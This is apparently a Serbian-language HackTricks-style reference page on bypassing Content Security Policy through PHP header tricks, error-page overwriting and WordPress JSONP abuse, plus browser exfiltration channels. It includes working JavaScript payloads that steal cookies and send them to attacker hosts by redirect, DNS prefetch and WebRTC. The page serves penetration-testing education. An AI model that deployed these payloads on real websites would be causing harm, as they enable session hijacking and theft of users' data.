Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Nesigurne tehnologije za zaobilaženje CSP-a

PHP greške kada je previše parametara

Prema poslednjoj tehnici komentarisanoj u ovom videu, slanje previše parametara (1001 GET parametar iako to možete uraditi i sa POST parametrima i više od 20 fajlova). Svaki definisani header() u PHP web kodu neće biti poslat zbog greške koju će ovo izazvati.

Preopterećenje PHP odgovora

PHP je poznat po tome što bafuje odgovor na 4096 bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem dovoljno podataka unutar upozorenja, odgovor će biti poslat pre CSP header-a, uzrokujući da se header ignoriše.
Tada, tehnika se u suštini sastoji u punjenju bafera odgovora upozorenjima tako da CSP header ne bude poslat.

Ideja iz ovog izveštaja.

Prepisivanje stranice greške

Iz ovog izveštaja izgleda da je bilo moguće zaobići CSP zaštitu učitavanjem stranice greške (potencijalno bez CSP-a) i prepisivanjem njenog sadržaja.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) u krajnjoj tački stranice da zloupotrebi druge krajnje tačke iste domene. To se postiže učitavanjem ranjive krajnje tačke sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu krajnju tačku u istoj domeni koju želite da zloupotrebite. Na ovaj način ranjiva krajnja tačka može koristiti opener objekat u payload-u da pristupi DOM-u prave krajnje tačke za zloupotrebu. Za više informacija pogledajte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Pored toga, wordpress ima JSONP krajnju tačku u /wp-json/wp/v2/users/1?_jsonp=data koja će odraziti podatke poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).

Napadač može zloupotrebiti tu krajnju tačku da generiše SOME napad protiv WordPress-a i ugradi ga unutar <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> napominjemo da će ovaj script biti učitan jer je dozvoljen od 'self'. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti SOME napad kroz ranjivu callback krajnju tačku koja zaobilazi CSP da bi dala više privilegija korisniku, instalirao novi dodatak...
Za više informacija o tome kako izvesti ovaj napad pogledajte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Ako postoji strogi CSP koji ne dozvoljava da interagujete sa spoljnim serverima, postoji nekoliko stvari koje uvek možete uraditi da izvučete informacije.

Location

Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo neće otkriti sadržaj)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.
Možete naterati pregledač da unapred reši ime hosta sa: <link rel="dns-prefetch" href="something.com">

Možete zloupotrebiti ovo ponašanje da izvršite eksfiltraciju osetljivih informacija putem DNS zahteva:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Još jedan način:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Очигледно, ова техника не ради у безглавим прегледачима (ботовима) {% endhint %}

WebRTC

На неколико страница можете прочитати да WebRTC не проверава connect-src политику CSP-а.

У ствари, можете leak информације користећи DNS захтев. Погледајте овај код:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Još jedna opcija:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Proveravanje CSP politika online

Automatsko kreiranje CSP

https://csper.io/docs/generating-content-security-policy

Reference

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Uvidi u Hacking
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Hacking-u u Realnom Vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovija Obaveštenja
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}